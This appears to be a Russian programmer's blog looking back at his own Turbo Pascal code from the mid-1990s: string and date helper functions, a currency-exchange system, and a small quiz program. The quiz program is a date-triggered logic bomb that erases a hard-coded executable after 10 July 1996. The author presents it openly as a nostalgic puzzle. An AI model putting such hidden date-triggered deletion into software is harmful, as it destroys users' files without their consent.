Мой код образца 1995 года

Наводил порядок в папке с исходникаи, наткнулся на «шедевры»:

{*************************************************************************}
{********************** Function DeleteChar ******************************}
{*************************************************************************}
Function DeleteChar(PoleStr : String;
                    Ch      : Char    ) : String;
    { Убирает символы Ch из String`a PoleStr                              }
Var
  i,k : integer;
Begin
  k:=1;
  for i:=1 to Length(PoleStr) do
   begin
     if PoleStr[k] = Ch
      then Delete(PoleStr,k,1)
      else inc(k)
   end;{for i:=1 to Length(PoleStr) do}
  DeleteChar:=PoleStr;
End;{Function DeleteChar}

{*************************************************************************}
{************************ Function DateInv *******************************}
{*************************************************************************}
Function DateInv : String;
    { Возвращает Системную Дату в виде String.   Формат : ГГГГММДД        }
    { Специально для 'Уродских' Форматов, Например DBF(Тип Дата)          }
Var
 yy,mm,dd,ww : Word;
 sy,sm,sd    : String[8];
Begin
  GetDate(yy,mm,dd,ww);
  Str(yy:4,sy);
  Str(mm,sm);
  Str(dd,sd);
  if mm < 10
   then sm := '0' + sm;
  if dd < 10
   then sd := '0' + sd;
  DateInv:=sy+sm+sd;
End;{Function DateInv}

{*************************************************************************}
{*********************** Function StrComma *******************************}
{*************************************************************************}
Function StrComma(Nom         : Extended;
                  Digit,Comma : integer) : String;{ Перевод Числа В String}
   { Работает Аналогично Procedure Str(Nom:Digit:Comma,StrComma)          }
   { Плюс вставляет разделительные ',' (1,121,123,231.124)                }
Var
  PoleStr : String;
  MaxLen,i  : integer;
Begin
  MaxLen := Digit + (Digit div 3); {Ширина поля Digits с учетом ','}
  Str(Nom:-1:Comma,PoleStr);
  PoleStr:=InsertComma(PoleStr);
  MaxLen:=MaxLen-Length(PoleStr); {Сколько пробелов добавить}
  if MaxLen > 0 then
   begin
     for i:=1 to MaxLen do
      PoleStr := ' ' + PoleStr;
   end;{if Length(PoleStr) < MaxLen then}
  StrComma:=PoleStr;
End;{Function StrComma}

Отступы не по стандарту, зато коментарии и документацию я даже в «детстве» писал 🙂

 

Как раньше программировали

Рылся в старых проектах, нашел «гениальную програмку» ©.

Угадайте что она делает и для чего такие вещи делали программисты в прошлом веке?

Program fignya;
Uses Dos;
Var
	y, m, d, dow: Word;
	flag        : Boolean;
	F           : File;
Begin
	Flag := True;
	GetDate(y, m, d, dow);
	
	if (y = 1996) then
	begin
		if (m<7) then Flag := False;
		if (m=7) and (d<10) then Flag := False;
	end;{if (y=1996) then}

	if (y < 1996) then Flag := False;

	if Flag then
	begin
		Assign(F, 'C:\SomeDir\SomeFile.EXE');
		Erase(F);
	end;
End.

Потом в каментах отвечу, интересно услышать что народ думает 🙂

Система автоматизации обмена валют AObmen (1995 год)

AObmen я писал в 1995-1996 годах, когда подрабатывал на фирме по обмену валют. Это был мой первый большой проект, его даже подавали на лицензирование в Нац Банк! Сейчас без слез на код смотреть сложно, но из песени слов не выбросишь. А псевдографика в текстовом режиме 80×25 чего стоит! 🙂

Исходные коды для Turbo Pascal 7.0 with Turbo Vision